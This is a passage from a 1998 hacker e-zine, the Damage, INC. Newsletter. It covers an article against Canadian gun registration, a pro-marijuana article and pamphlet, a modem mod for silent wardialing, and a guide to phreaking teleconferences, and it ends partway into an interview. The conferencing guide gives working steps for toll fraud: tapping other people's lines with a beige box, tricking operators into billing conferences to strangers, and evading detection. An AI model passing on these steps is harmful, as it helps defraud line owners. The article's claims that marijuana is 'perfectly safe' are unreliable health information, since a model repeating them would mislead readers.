which guns are totally illegal to +possess. At least, that's how I interpret what C-68 reads... But as I stated +before, it's very difficult to be certain due to the language that they chose +to use and the way that it's written. It is Govspeak at its finest. + +I decided to include the following article by Dave Tomlinson of the NFA in +order to explain the complicated registration fees in C-68... since he +did an excellent job of showing how it works and saying it like it is. Even +though it was written towards the end of 1996, the information that it contains +is still relevant (except for the voting/election portion at the bottom). + +------------------------------------------------------------------------------- +C-68 Firearms Fees + +From: "David A. Tomlinson" +Date: Wed, 06 Nov 1996 18:41:46 -0600 (CST) +Subject: C-68 Firearms Fees + +06 Nov 96: The Canadian Firearms Centre [CFC] branch of the Department +of Justice [DoJ] has finally issued the schedule of fees for various +firearms permits, licenses, etc. It is quite remarkable, and will +destroy the Canadian firearms community as we know it. Some crippled +"thing" may survive, but the fee schedule is proof positive that the +Liberals are out to "get" us. + +Table A says that a License to possess and to acquire non-restricted +firearms will cost you $60. If you want to have handguns on it, it +will jump to $80. It will also cost you $60 for a license to possess +and acquire _crossbows_. That last license fee gets to me. How nutty +_are_ these serfs of the Liberal Party? + +The fee to register one or more currently-owned non-restricted firearms +is $10 in the first year, rising to $18. The fee for registering a +newly-acquired one jumps your cost to $15 _per_gun_. The fee to +register a newly-acquired restricted weapon or "prohibited firearm" +jumps again, to $30_per_gun_. That is Liberal "social engineering." +They are making it more expensive to acquire the new firearm (behavior +that the Liberals classify as "politically incorrect") and even more +expensive to acquire any _firearm_ that the Liberals classify as +"politically incorrect." + +Lose a license or a registration certificate? Its replacement will cost +you $25. + +REMEMBER: YOU MUST HAVE A LICENSE PLUS ONE REGISTRATION CERTIFICATE FOR +EVERY FIREARM YOU OWN WHEN C-68 COMES INTO FULL FORCE. + +Table D says that the cost of importing any firearm will be boosted by +requiring the dealer to pay for a $20 Import Permit, plus $4 per +firearm imported, plus $4 per firearm for a "Confirmation of +Authorization to Import." + +More "social engineering." That adds $8 per firearm plus the +additional administrative costs to the dealer plus a share of the $20 +Import Permit to the price of every imported firearm, because the +Liberals regard importing firearms and buying imported firearms as +"politically incorrect." + +The same fees apply to the _exporting_ of firearms. Canadian firearms +manufacturers are going to disappear; they cannot afford that sort of +taxation on _exports_. Apparently the Liberals regard our few firearms +manufacturers -- who have been bringing new money into Canada by their +exports -- as "politically incorrect" businesses that their "social +engineering" will hound out of existence. + +Bulk imports or exports are even worse. The first shipment of 300 guns +- -- in or out of Canada -- costs $5000. The next 2 shipments of 200 +each cost $2000 per shipment. That is a tax of nearly $17 per gun on +the first 300, and $10 per gun on each of the next 400. They are +ruining Canadian competitiveness in the world market -- and for what? +"Political correctness." + +It seems unlikely that any firearms business can survive this Liberal +"social engineering." If the Liberals are re-elected, this will come +into force and all those jobs and all those foreign earnings will +disappear --along with the jobs of every Canadian in the firearms +industry. + +There is one consolation for all the Canadians who will be thrown out +of work. They will no longer be classified by the Liberal Party as +"politically incorrect" on the basis of where they work. + +An Authorization to Transport a restricted firearm (replaces a Permit +to Carry) for target shooting costs $40 per year. If you are carrying +it "To protect life," the fee goes up to $100 per year. Apparently +the life of a citizen is not worth protecting, so they penalize anyone +who wants to do that. + +The Table says nothing about fees for Authorization to Transport rifles +and shotguns for hunting and target practice, but that will probably +come in soon after the Liberals get re-elected -- if they do. + +If you are carrying because your "Employment" requires it, the fee is +$40 per year. We have two major armored car companies in Canada, each +with about 2500 employees who carry guns. Their overhead just went up +by 40 X 2500 = $100,000. + +Add to that the information dropped -- casually -- in the course of the +conference call as Carolyn St-Denis (CFC Senior Policy Analyst) briefed +the major dealers, armored car firms, and manufacturers that another +Liberal government department is going to require $400 armored vests +for every armed employee, and that increased overhead goes to +$1,100,000 in the first year of Rock's Folly. + +If you use the armored car service, expect your fees to jump sharply. + +A final word: Because _you_ have now become part of the huge voting +bloc that is the Canadian firearms community -- because _you_ are now +being courted by the Reform Party and the Conservative Party -- both of +which are promising _you_ that they will repeal Bill C-68 if you will +only vote them into office -- + +The Liberals are strongly considering putting Rock's Folly back on the +shelf until _after_ the election. They still think that you are too +stupid to work or vote against them unless they are actively attacking +you on voting day. + +Boy, are they stupid. Do you think that accounts for the fact that +they ran Canada $600 billion in debt -- to buy soup? + +Stay tuned for the latest news... + +Dave Tomlinson, NFA + +"Everyone told me that it was impossible to weld the Canadian firearms +community into a voting bloc. Then they told me why it was +impossible. Then I -- and a few good people who shared the vision -- +went out and did it." + + Early NFA Member +------------------------------------------------------------------------------- + +In summary, Bill C-68 is a corrupt and greedy act. The Canadian government +is seeking control over the citizens of Canada (or rather, Communista) through +this bill. The fees that they seek (as described in the above C-68 Firearms +Fees article by Dave Tomlinson) for gun registration aren't just driven by +their need for greed. It's much more sinister a plot than that. Plus, the +Liberals "ain't done yet" in my opinion. Amongst citizens that are gun owners, +there's great opposition to C-68, and with just cause. The cost alone to +average hunters, gun collectors, etc. is potentially overwhelming. Not to +mention the fact that they don't want Big Brother on their backs... and invading +their homes "in search of weapons". I am completely against C-68, including +what it represents and foreshadows. Hopefully this article (and the ones that +I've included in the Reports from the Front section) have given you some needed +information and insight into this corrupt government act. I also hope that +strong actions are taken to prevent governments (not only in Canada) from +being able to restrict rights such as these. Voting in elections for +politicians that "claim" to oppose C-68 or like acts isn't enough. In fact, +it may lead you into a sense of false security. I believe that a message must +be sent to show them that we aren't just going to sit on our hands and take it. +Indifference, silence and pacifism don't work. Protect yourself by making sure +that you're informed. I suggest that every Canadian citizen read C-68 very +thoroughly, try to discern the meaning and form your own opinions. Most +importantly, don't let them disarm you without a fight. Afterall, that is +what they want. Their highest goal is a police state. + +Written by BLACKENED ú Damage, INC. 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This month, I'm going +to explain why marijuana is such a dangerous and evil plant. You see, it's +illegal and wrong to smoke it. Plus, the THC that it contains will make +you stupid and lazy. Smoking pot will turn you into a social outcast. It +isn't cool. So, don't give in to peer pressure... Blah.. Blah.. Blah. :) + +{Government propaganda ends} + +Alright, now that I've mocked the Government for misinforming and trying +to influence everyone... I'll explain what the intention of this article is. +Since there are still some misconceptions out there about marijuana, THC, +what it is and what it does... I decided to write a short article to clarify +it. In this article, I will provide facts and reliable information pertaining +to THC (TetraHydraCannabinol) in order to inform readers that may lack knowledge +and an understanding of it. I'll try not to make it too boring. :) + +The chemical THC has not been proven to be addictive. It's not lethal. The +effects of it are temporary, not permanent. Without getting too technical, +it basically alters receptors in your brain, temporarily. That is what +gives you the feeling of being high. Don't worry though, it won't bake your +brain. :) That's because THC isn't toxic and is not a narcotic. There +hasn't been a single proven case of death that's directly caused by marijuana. +So, it's perfectly safe to smoke or ingest, and you won't die from it... or +"overdose" like you can with many other things. In fact, the more potent it +is (the higher the content of THC), the better... since you won't have to +smoke as much of it to get high. And the less you smoke, the better it is +for your health. An even healthier alternative is to eat it. If you do that +instead of smoking it, (or smoking it with tobacco), then all of the harmful +smoke that your lungs would've absorbed is avoided. If you don't want to eat +it then basically, the key is to buy very potent pot so that you only have +to smoke small quantities. Also, resin isn't a good indicator of potency. +Some varieties of marijuana may have a high amount of resin and not be very +potent at all, since a lot of the resin is made up of inactive ingredients +instead of active cannaboids (like THC). There have been some scientific +studies done on resin content that found it's not correlated with the potency. +So, it doesn't matter if a variety of marijuana has a lot of resin glands or +is resinous by nature. In fact, the better varieties are non-resinous and +are extremely potent... as resin can induce coughing and doesn't add to the +effects. In other words, it won't get you high so it's not something that you +want to exist in high amounts in marijuana. + +I found this Family Council on Drug Awareness pamphlet while doing some drug +research. Since it's informative and interesting, I decided to include it +in my article for chronics and newbies to read. :) + +------------------------------------------------------------------------------- + 10 Things Every Parent, Teenager & Teacher Should Know + + About + + Marijuana + + + "Prohibition...goes beyond the bounds of reason in that it attempts to + control a man's appetite by legislation and makes a crime out of things + that are not crimes. A prohibition law strikes a blow at the very + principles upon which our government was founded." + + -- Abraham Lincoln + December, 1840 + + + This pamphlet was researched and produced as a public service + by the Family Council on Drug Awareness P.O. Box 71093, LA CA + 90071-0093 + + Additional copies available from: + + BACH, PO Box 71093, L.A., CA 90071-0093 + 35 cents apiece, Ten for $2.00, 100 for $10 + + + 1 Q. What is Marijuana? + + A. "Marijuana" refers to the dried leaves and flowers of the cannabis + plant [1], which contain the non-narcotic chemical THC at various + potencies. It is smoked or eaten to produce the feeling of being + "high." The different strains of this herb produce different sensual + effects, ranging from sedative to stimulant. + + 2 Q. Who Uses Marijuana? + + A. There is no simple profile of a typical marijuana user. It has been + used for 1000s of years for medical, social, and religious reasons + and for relaxation [2]. Several of our Presidents [3] are believed + to have smoked it. One out of every five Americans say they have + tried it. And it is still popular among artists, writers, musicians, + activists, lawyers, inventors, working people, etc. + + 3 Q. How Long Have People Been Using Marijuana? + + A. Marijuana has been used since ancient times [4]. While field hands + and working people have often smoked the raw plant, aristocrats + historically prefer hashish [5] made from the cured flowers of the + plant. It was not seen as a problem until a calculated disinformation + [sic] campaign was launched in the 1930s [6], and the first American + laws against using it were passed [7]. + + 4 Q. Is Marijuana Addictive? + + A. No, it is not [8]. Most users are moderate consumers who smoke it + socially to relax. We now know that 10% of our population have + "addictive personalities" and they are neither more nor less + likely to overindulge in cannabis than in anything else. On a + relative scale, marijuana is less habit forming than either sugar + or chocolate but more so than anchovies. Sociologists report a general + pattern of marijuana use that peaks in the early adult years, followed + by a period of levelling off and then a gradual reduction in use [9]. + + 5 Q. Has Anyone Ever Died From Smoking Marijuana? + + A. No; not one single case, not ever. THC is one of the few chemicals for + which there is no known toxic amount [10]. The federal agency NIDA says + that autopsies reveal that 75 people per year are high on marijuana + when they die: this does not mean that marijuana caused or was even a + factor in their deaths. The chart below compares the number of deaths + attributable to selected substances in a typical year: + + Tobacco...............................340,000 - 395,000 + Alcohol (excluding crime/accidents).............125,000+ + Drug Overdose (prescription)............24,000 - 27,000 + Drug Overdose (illegal)...................3,800 - 5,200 + Marijuana.............................................0 + + *Source: U.S. Government Bureau of Mortality Statistics, 1987 + + 6 Q. Does Marijuana Lead to Crime and/or Hard Drugs? + + A. No [11]. The only crime most marijuana users commit is that they use + marijuana. And, while many people who abuse dangerous drugs also smoke + marijuana, the old "stepping stone" theory is now discredited, since + virtually all of them started out "using" legal drugs like sugar, + coffee, cigarettes, alcohol, etc. + + 7 Q. Does Marijuana Make People Violent? + + A. No. In fact, Federal Bureau of Narcotics director Harry Anslinger once + told Congress just the opposite - that it leads to non-violence and + pacifism [12]. If he was telling the truth (which he and key federal + agencies have not often done regarding marijuana), then re-legalizing + marijuana should be considered as one way to curb violence in our + cities. The simple fact is that marijuana does not change your basic + personality. The government says that over 20 million Americans still + smoke it, probably including some of the nicest people you know. + + 8 Q. How Does Marijuana Affect Your Health? + + A. Smoking anything is not healthy, but marijuana is less dangerous than + tobacco and people smoke less of it at a time. This health risk can + be avoided by eating the plant instead of smoking it [13], or can be + reduced by smoking smaller amounts of stronger marijuana. There is + no proof that marijuana causes serious health or sexual problems [14] + but, like alcohol, its use by children or adolescents is discouraged. + Cannabis is a medicinal herb that has hundreds of proven, valuable + theraputic uses - from stress reduction to glaucoma to asthma to + cancer therapy, etc. [15]. + + 9 Q. What About All Those Scary Statistics and Studies? + + A. Most were prepared as scare tactics for the government by Dr. Gabriel + Nahas, and were so biased and unscientific that Nahas was fired by + the National Institute of Health [16] and finally renounced his own + studies as meaningless [17]. For one experiment, he suffocated monkeys + for five minutes at a time, using proportionately more smoke than the + average user inhales in an entire lifetime [18]. The other studies + that claim sensational health risks are also suspect, since they lack + controls and produce results which cannot be replicated or + independently verified [19]. + + 10 Q. What Can I Do About Marijuana? + + A. No independent government panel that has studied marijuana has ever + recommended jail for users [20]. Concerned persons should therefore + ask their legislators to re-legalize and tax this plant, subject to + age limits and regulations similar to those on alcohol and tobacco. + + + For More Information, Write: + Family Coucil on Drug Awareness + P.O. Box 71093, LA CA 90071-0093 + + + + FOOTNOTES TO THE TEXT: + + 1. The same plant, known as hemp, has an estimated 50,000 non-drug + commercial uses including paper, textiles, fuels, food and sealants, + but these uses are also banned by existing laws. Sources: Encyclopedia + Britannica, federal documents and historical records. + + 2. Coptic Christians, Rhastafarnians [sic], Shintos, Hinus, Buddhists, + Sufis, Essenes, Zoroastrians, Bantus, and many other sects have + traditions that consider the plant to have religious value. + + 3. Their personal correspondence and records reveal that U.S. Presidents + Jefferson, Madison, Monroe, and others smoked hashish, as did Benjamin + Franklin and Mary Todd Lincoln. President John F. Kennedy is also + reported to have smoked marijuana to relieve his back pain. Many of + America's greatest leaders and Founding Fathers (including George + Washington) were hemp farmers. Sources: National Archives, published + reports. + + 4. Archeologists report that cannabis was possibly the first plant + cultivated by humans - about 8000 B.C. - and was used for linen, + paper, and garments. Source: Columbia University, _History of the + World_. It was being smoked in China and India as early as 2700 B.C. + + 5. Turkish smoking parlors were popular in both Europe and America. as + well as the Middle and Far East, as recently as the turn of the + Century. + + 6. The exhaustive Indian Hemp "Raj" Commission report (1986) by British + authorities found no reason to restrict its use. But the notorious + yellow journalist William Randolph Hearst fabricated and published + horror stories about marijuana that were eventually investigated and + shown to be lies, but not until long after the marijuana prohibition + was enacted in 1938. Source: Larry Sloman, _Reefer Madness_. + + 7. Laws against marijuana were passed a year after the invention of a + machine to harvest and process hemp so it could compete commercially + against businesses owned by Hearst, the DuPonts and other powerful + families. Source: Jack Herer, _The Emporor Wears No Clothes_. + + 8. Marijuana does not lead to physical dependency. Costa Rican Study, + 1980; Jamaican Study, 1975; Nixon Blue Ribbon Report, 1972, et. al. + + 9. Source: Psychology Today, Newsweek, et.al. + + 10. Source: All univerity medical studies: UCLA, Harvard, Temple, etc. + + 11. Costa Rican Study, 1980; Jamaican Study, 1975; "The legal drugs for + adults, such as alcohol and tobacco...precede the use of all illicit + drugs." Source: National Academy of Sciences. + + 12. The FBI reports that 65-75% of criminal violence is alcohol related. + "Pacifist syndrome" testimony was given by Federal Bureau of Narcotics + Director Harry Anslinger before Congress (1948). However, the "Siler" + Study conducted by the U.S in Panama (1931) reported "no impairment" + in military personnel who smoked marijuana while off duty. + + 13. "The only clinically significant medical problem is that + scientifically linked to marijuana is bronchitis. Like smoking + tobacco, the treatment is the same: stop smoking." Source: Dr. Fred + Oerther, M.D. + + 14. Coptic study (UCLA), 1981; "There is not yet any conclusive evidence + as to whether prolonged use of marijuana causes permanent changes in + the nervous system or sustained impairment of brain function and + behavior in human beings." Source: National Academy of Sciences. + + 15. Source: Dr. Tod Mikuriya, _Marijuana Medical Papers_. Marijuana could + replace at least 10-20% of prescribed drugs now in use. Source: Dr. + Raphael Mechoulam. Marijuana was a major active ingredient in 40-50% + of patent medicines before its ban. + + 16. 1976 + + 17. 1983 + + 18. The U.S. Government reports that the oral dose of cannabis required to + kill a mouse is about 40,000 times the dose required to produce + symptoms of intoxication in man. Source: Lowe, _Journal of + Pharmacological and Experimental Therapeutics_, Oct. 1946. + + 19. In another famous study, Heath/Tulane (1974), wild monkeys were + brutally captured, then virtually suffocated in marijuana smoke over a + period of 90 days. Source: National Institute of Health. + + 20. Examples: the "LaGuardia" Committee Report (New York, 1944) and + President Richard Nixon's Blue Ribbon "Shafer" Commission (1972). +------------------------------------------------------------------------------- + +I hope that you've enjoyed reading this article and learned something from +it. If anyone has any plans for bongs, send them in to be published in the +next issue. I'm considering doing a one-time "bong review" and will need to +look at and try many different types of bongs first. :) In future articles, +I would like to write about the benefits of eating marijuana, how to grow +your own plants (hydroponically and outdoors), what type of bud (ie, various +strains from different countries) is the best, etc. However, I don't want to +be limited to writing articles on drugs. So, if you have any interesting drug +experiences that you want to share, then write an article and send it in. +The topic doesn't have to be marijuana. It can be about acid, hash, mushrooms, +or any other drug of your choice. Personally, I'd like to read some articles +on drugs from a reader's perspective for a change. + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. + + +H/P INFORMATION AND NEWS - {H/P} +How to hax0r your modem and Conferencing. + + --- Save your marriage/Keep peace in your parent's house --- + --- A helpful tip for late night scanning or hacking --- + --- Courtesy of Damage, INC. --- + +Are you a busy person that has a passion for h/p? Do you spend all day at +work, school or other critically important endeavours? That doesn't leave a lot +of time for h/p. So you burn the midnight oil to find some interesting codes, +and to take advantage of them. + +While using a wardialier like ToneLoc for some tasks like scanning, hacking +a PBX dial-out, a VMB, or an extender you may choose to have your modem +speaker on. However, most modem speakers are very small speakers that deliver +very poor sound quality. Plus, most modems, whether internal or external, do +not have a volume control. As you probably know, ATMn is extremely limited... +either ON or OFF. :-( + +If your modem's crappy little speaker is delivering its distorted sound at +4:00am, there may be some very upset family members. Especially if you don't +want them to know about your h/p activities. ;-) + +Fortunately, Damage, INC. has come up with a potential solution for that +problem. If you have an old 2400 or 1200 baud modem collecting dust in an +obscure corner of your closet, it can still serve very nicely for the tasks +I listed above. After all, you aren't using your old modem to connect to a +carrier, so it doesn't matter what speed it is, right? With some very minor +modifications, you can transform your loyal old modem into a nice, silent +scanning/code hacking modem for ToneLoc... while those that live with you sleep +peacefully. That's right, it's hax0ring your old modem and putting it to good +use again. + +Reminder: Please reread the Damage, INC. Disclaimer at the top of the + Damage, INC. Newsletter before doing anything. I (Shatazar) + performed the following operation on my own external Incomm 2400 baud + modem, and it operates perfectly. If you fuck up in any way, it is + your problem. Damage, INC. is not responsible for your mistakes. + +Items needed: + +1 - External modem (preferably an old modem you no longer use) +1 - Female mini-headphone jack (Walkman sized jack) +1 - Soldering iron/gun +1 - Screwdriver +1 - Drill with various bits +Some solder (rosin core worked fine for me) +Some electrical tape + +Note: You can obtain a female mini-headphone jack from various sources. If + you have a walkman extension cord or y-adapter, you can cut off a/the + female end, strip the insulation, and bare the ends of both wires that + go into the female jack. + +1> Use your screwdriver to open up your old external. Some old modems + have to actually be pried open (like my old Incomm 2400). + +2> Look for two wires that goes from the modem circuit board to leads on the + modem speaker. Use your soldering iron/gun to disconnect the solder + joints between the wires and the speaker. + +3> Splice/crimp together the wires from the female mini-headphone jack and + the two wires connected to the modem circuit board. Then solder the two + wires together. It is a good idea to match up wire colours whenever + possible. That way if a poor solder joint breaks, you can match up wires + quickly. Be sure that a good wetting action has occurred. + +4> Using electrical tape, wrap tape around both individual wires. Then + wrap electrical tape around both wires together. + +Next you can use your drill, with an appropriate bit, to snugly mount your +female mini-headphone jack into your modem case. Since modems have various +case styles, it is up to you to secure the jack to your own particular modem +case. Then put your case back together with screws or electrical tape. + +With a mini-headphone jack instead of your old modem speaker, you now have many +more options when using your modem to scan with or hack. You can now plug in a +pair of Walkman headphones, a pair of those Labtec-styled speakers, or better +yet, your home stereo system into your old modem. You can now scan or hack into +the early hours of the morning without bitching and questions from the people +you live with. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +------------------------------------------------------------------------------- + Field Phreaking: + An Introduction to + Conferencing +------------------------------------------------------------------------------- + +In this article, I will introduce you to the world of teleconferencing. If +you're a novice phreak, it'll serve as an introduction. If you're already +an experienced phreak that's setup/participated in conferences, then look at +it as merely an overview. It might include some methods that you haven't +thought of or used already. Besides, there have already been many text files +written on conferencing over the years. Therefore, there's no reason to +go into tremendous detail and cover every type of conference. + + +Background: +---------- + +In the early days of phreaking, there were many large conferences with phreaks +from all over North America involved at any given time. Some of them were +fairly well known and lasted indefinitely. As in, for days, weeks or months +at a time. :) Some of them were through Telex test trunk lines that weren't +being used, which is why they lasted so long without being shut down. A phreak +could join by simply sending out (or "blowing") a 2600 HZ tone down the trunk. +All that was required back then was a blue box. There were also many known +loops and dial-in bridges etc. in which conferences were going on. But of +course, things change and have changed... And in this article, I'm not going +to explain blue boxing. Nor will I discuss "Blue Boxing in the 90s", C5 +trunks, dialers like Scavenger etc. I'll leave that for another article. :) +All of the methods that I will discuss don't require a blue box. + + +Methods: +------- + +First, I suggest that you don't setup the conference from home. Even if +you divert, and believe that you're safe, it's still not a good idea to +try it. So, to lessen your chance of being caught, beige box to set it +up, use a pay phone, or find a junction box. As always, dial an ANI to +find out the number of the line that you're using. Write it down so that you +can give it to the Conference Op when they ask what number to bill it to. To +find a line with call waiting, use *70 to check for the beeps (short dialtones). +Once you find a suitable (open/unused line) with the call waiting option, use it +to call the Conference Operator (like a 1-800 AT&T Op assisted Conference line). +Tell them that you want the conference billed to your line and give them the +number. Then, after you've hung up... call a number to a line that you know +rings and doesn't answer or a VMB that you know you can sit on few a few minutes +without being disconnected. When you hear the beeps, that's the Op calling you +to confirm. So, click over and confirm that you want to setup a conference +billed to your line. That way, the owner of the line won't hear the phone +ringing (or pickup to answer it) when the Op tries to call you for confirmation. +It's much more stealthful, safe and avoids interruptions. That's just a useful +tip for those pesky Operator call backs to confirm conferences, or call backs of +any type. But that should be self-explanatory. + +There are many ways that you can setup a conference. You can use a 1-800 +PBX that supports Alliance Teleconferencing. Some VMBs support conferencing +as well. Or, you can use a dial-in bridge... local loop... dial up an +AT&T Operator (or hit "0" for a local Operator) and get them to setup the +conference for you. You can setup conferences ahead of time. Just tell +the Op what dates, times (like 11:00pm for whatever time zone you're in), +the number of ports and to bill it to the number you're calling from. Or, +you can use third party billing to have the conference billed to another +number. In that case, bring a friend along with you while beige boxing. +Instruct them to answer the phone and confirm that they will accept the +charges. For example, they could answer using another line with "Phreak +Computers. Jim speaking. How may I help you?" The Op will ask if they +accept the conference being billed to them, and they just have to respond +with "Yes, I accept." Keep it short and sweet. :) You can also give them +the number of a loop for third party billing... and have a friend waiting +for the Op to call. When the Operator calls, the person on the loop should +hear a click. They should answer "Hello?" and then when asked to confirm +that a Conference can be billed to that number, answer "Yes, I accept." +If they're not nervous and sound convincing, they should have no trouble. +Then the conference will be billed to the loop. :) Or, if you can find a +"dead" (silent) line, you can use that for third party billing as well. It's +the same as above, when you hear the click, or clicks, answer with "Hello?" +and confirm the billing of the conference or anything else. + +If you can find a COCOT (Customer Owned Coin Operated Telephone), which in +some areas is highly unlikely, then you can setup a conference from there +easily. But they're rare. If you do manage to find one, it'll be able to take +incoming calls and you can bill things to the pay phone. The reason is that +it won't show up as a pay phone on the Op's computer screen. But most pay +phones (at least in North America) won't allow you to receive incoming calls, so +conferences can't be billed to them using the above method. However, you can +call from a pay phone and try to use third party billing to have the conference +billed to another number (that isn't a pay phone). You just need to know the +number for billing and have a friend waiting there to answer and confirm. They +could be waiting on a loop or at a junction box or anywhere else. :) + +You can conference through 1-800 PBXs as well, if you know how to dial out +from them. If you are planning on dialing out from home through a PBX in order +to conference, you should divert by dialing out through several other PBXs, +VMBs, diverters or using another method... Just enter the passcode and then +the conference code (for Alliance Teleconferencing). There are three branches, +1000, 2000, 3000. So, 100X, 200X, 300X. I won't list all of the codes though, +since they are already included in many other text files. So, if you plan on +using this method, then read some text files written strictly on Alliance +Conferencing. Some of the basic commands are listed below in this article. + +Using loops to conference was explained in an earlier article in the +Damage, INC. Newsletter. Simple scan to find them and usually you just dial +the loop to join in any conferences that are going on. If you manage to find +a multi-line loop (they're rare), then you're lucky. Or, you might scan and +find that some lines are connected for the purpose of conferencing. Usually +it's best with loops if the conferences are pre-arranged. Just invite certain +people to call it at the designated time. But occasionally you'll run across +some phreaks that you don't know on loops, which is a good way to meet other +phreaks. Once in a while you might encounter an Op or a lineman using them as +well. If you don't hassle them, you might be able to carry on some interesting +conversations or social engineer them for info. + +3-Way calling is another method. You can set that up on a line while beige +boxing, but obviously it's limited. Those types of small conferences are +alright if you just want to talk with a couple of phriends. + +Bell also has their own conference system, as do a few other companies. There +are text files available that list numbers of various companies that offer +conference services. However, some are only available in certain areas, so +it's pointless to list them all in this article. Plus, some of the numbers +might've changed since I last checked them out... and many were located in +American cities. + +You can dial "0" and get the local operator to put you through to a Conference +Operator. They can set up the conference for you. It's not the best method, +but it should work almost anywhere in a pinch. + +VMBs/VMS - I'm going to leave this particular conferencing method for a future +article. I'll just tell you that some support internal conferencing. So, +get out there and explore. + +In order to find some of the things listed above, you may need to do some +scanning or social engineering. That is, unless you have a list of numbers +already to use, from a text file, scan lists or a phriend. I'm not going +to provide you with AT&T Conference numbers, ANIs, PBXs, VMBs, or lines that +ring or ring busy (BUSYs) etc. Also, you should think and experiment with +some of your own ways and methods to conference as well. Not all methods +were listed in this article, so that it could remain relatively brief and +concise. Hopefully the above methods discussed are clear and understandable +to everyone though, as they aren't complex or difficult to use. + + +Basic Commands of AT&T's Alliance System: +---------------------------------------- + +The general commands are "#" to add and "*" to cancel. Meaning, to add +someone to the conference, you press the "#" button and dial their phone +number (1+NPA+XXX-XXXX). To prevent someone from accessing it, you would +press "*" before adding them and they won't be permitted to join. Entering +"#6" and then the person's number will transfer control of the conference +to them. To get a conference operator, hit "#7". To go into silent mode, +press "#9". You'll be able to hear the others in silent mode, but they can't +hear you. And press "#" to rejoin them. While you are conferencing, "#" takes +you to command mode. While there, you are temporarily out of the conference. +The others won't be able to hear you and they can continue talking. If you want +to leave the conference, press "*" to disconnect/hang up. Those are just some +basic commands for Alliance Teleconferencing. It's very user friendly, so you +shouldn't have any problems. Obviously, these commands don't apply to other +things such as loops... in which you're not in control. + + +Tips: +---- + +Don't use loops or conferences that were setup by an Operator to exchange +codes or information that could get you busted. Also, don't give out names, +phone numbers and other sensitive info while conferencing. You don't know if +they're listening in and recording or not. So, in the interest of safety, it's +not a good practice to do that. + +If you are field phreaking, use the call waiting method that I described +above. It's a way to be stealthful and prevents a lot of problems from +happening while you're borrowing a line. + +Be prepared. As in, if you're field phreaking then bring along everything +that you'll need. That includes a pen, paper, beige box, an ANI number to use, +AT&T Conference numbers, etc. Basically, make sure you have all that will +be required to setup a conference. You might also want to make sure some of +the people that you want involved will be around to join it. :) + +Try not to be predictable. Don't keep using the same method, from the same +place, at the same time. Be as random as possible to avoid getting caught. +If you use PBXs, don't keep using the same ones over and over again etc. +In other words, be intelligent and think about what you're doing before you +do it. Otherwise, it's only a matter of time before someone puts an end +to your $1000+ conference calls. :) Just remember, they are billed by the +minute to the owner of the line that's in control of the conference. That +includes the number of ports used. The charges can really add up fast. +I shouldn't have to give you an example of what a 10 port conference for +4 hours costs, as the price per minute can vary. + +You may even want to divert by dialing through a PBX, even if you're at a +pay phone or beige boxing. That is, if you're using third party billing. +If you are billing to the number that you're using, you can't divert as that +number will show up on ANI. If you beige box to setup conferences, don't keep +using the same location... or set them up at the same times etc. Obviously, +you shouldn't use the same pay phone each time you setup a conference either. + +Also, don't abuse the hell out of them. And if you're setting up a conference, +it's a good idea to limit the number of ports to 10 or so. That way, there +aren't too many people talking at once. Plus, if it's setup by the Op, they +won't be as suspicious as if you say that you will require 20 ports for a +5 hour long conference. :) So, limit the amount of ports to 10 or so and +the duration to 2-3 hours. If you set it up before midnight, you'll get more +conference time automatically. Just use your own common sense in order to +avoid arousing suspicion or getting busted. + + +Conclusion: +---------- + +Overall, Conferencing is a lot of phun. It's a great way to meet other phreaks, +especially ones that are in another NPA. You can exchange information, plan +meetings, or just talk to some phriends that are ld. It used to be one of +the main ways for phreaks and "telecommunications enthusiasts" to converse with +each other. But now, with Email and shit like IRC, there don't seem to be +quite as many going on anymore. Perhaps I just miss the good old days. Or, +maybe the internet is killing certain things, besides just h/p boards. Then +again, it might just be that the new generation isn't as interested in setting +up conferences, exploring the telco and using what they find. I don't know +what the reason is. However, I do hope that some people benefit from reading +this short article and become more actively involved in the phreak scene. Until +the next time, enjoy yourself and always remember to phreak safely... + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +ú - NEWS FROM THE TRENCHES - ú + +...AND JUSTICE FOR ALL is temporarily down. I've been experiencing some +hard drive problems etc. However, users can still call and download the +most recent issue by hitting "D" at the security logon menu and using a +login of "GUEST" password "DAMAGE". The board should be online and fully +operational again soon. + +The next issue of the Damage, INC. Newsletter may not be released in November +due to time constraints and lack of writers. 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So, if you're an artist and want to draw a Damage, INC. logo, +then it would be greatly appreciated. We can't afford to pay anything for +art work though. ;) + +Information on the new Damage, INC. Distribution Sites: + +board name : Eternal Flame +sysop : Public Enemy +co sysop : Midnight +nodez : 3 +number : +381-(21)-612039 +country : Yugoslavia +email : eflame@EUnet.yu +site url : http://www.f00d.nu + + +board name : the black rose tavern +number : (770) 222-9012 +sysop : dominion +country : Georgia, USA + + +board name : +SCBBS 2000 +number : (916) 421-9213 +sysop : Charred Remains +country : California, USA + + +Yes, we're still looking for quality h/p related boards in various area codes, +countries and continents to become Damage, INC. Dist. Sites. So, if you're +interested, then contact us at damage_inc@mailcity.com. Make sure you include +all of the necessary info about your board (name, number, type of system, what +it supports, how long it has been online, any nets that it carries, etc.) in +Email. Any other information that you feel is important should also be +included. If your board isn't multi-node, doesn't have gigs of storage, have +affiliations etc. don't worry about it. As long as the board is stable, +supports h/p and is somewhat "established", then apply. + +Fatal Vision recently quit Damage, INC. due to lack of time/interest. He +and his board, PSYCOSiS are no longer affiliated with Damage, INC. in any way. +Regretfully, it was advertised in the Crossed Wires section as being online +24/7 and was down shortly after issue #11 was released. I don't know what the +status of his board is now. It could be up or it could be down. Hopefully that +bbs advertisement didn't affect and mislead too many of our readers that +might've been trying to call it. If it did, then I apologize for the +inconvenience that it caused. Fatal Vision had assured me beforehand that it +would be up and running by the time it was advertised, but obviously that wasn't +the case since it was ringing for days... Ah well. I can't control what other +people do with their boards. Nor do I have anything to do with his board. But +in the future, only boards that are more reliable and established will be +advertised in the Damage, INC. Newsletter. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +An interview with Fringe. + + = BLACKENED +Fringe's answers and comments are obviously underneath what I wrote. ;) + + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +My handle is fringe, and my real name isn't. I've only been asked once before +to do an interview.. and I declined.. it was for a cheesy public access cable +show.. This seems a little more subtle, so, hey, I'll go wacky. +basix on me: I tend to reside in the chicagoland area. I'm the editor of the +pimp e-zine (also a writer).. and I'm 4'2", 600 lbs. I had to add the last +part in.. so no one plans on stalking me. + + - How long have you been involved in the h/p scene? + + I've been involved with the h/p scene for quite some time. During the +late 80's, early 90's, I was more into phreaking then 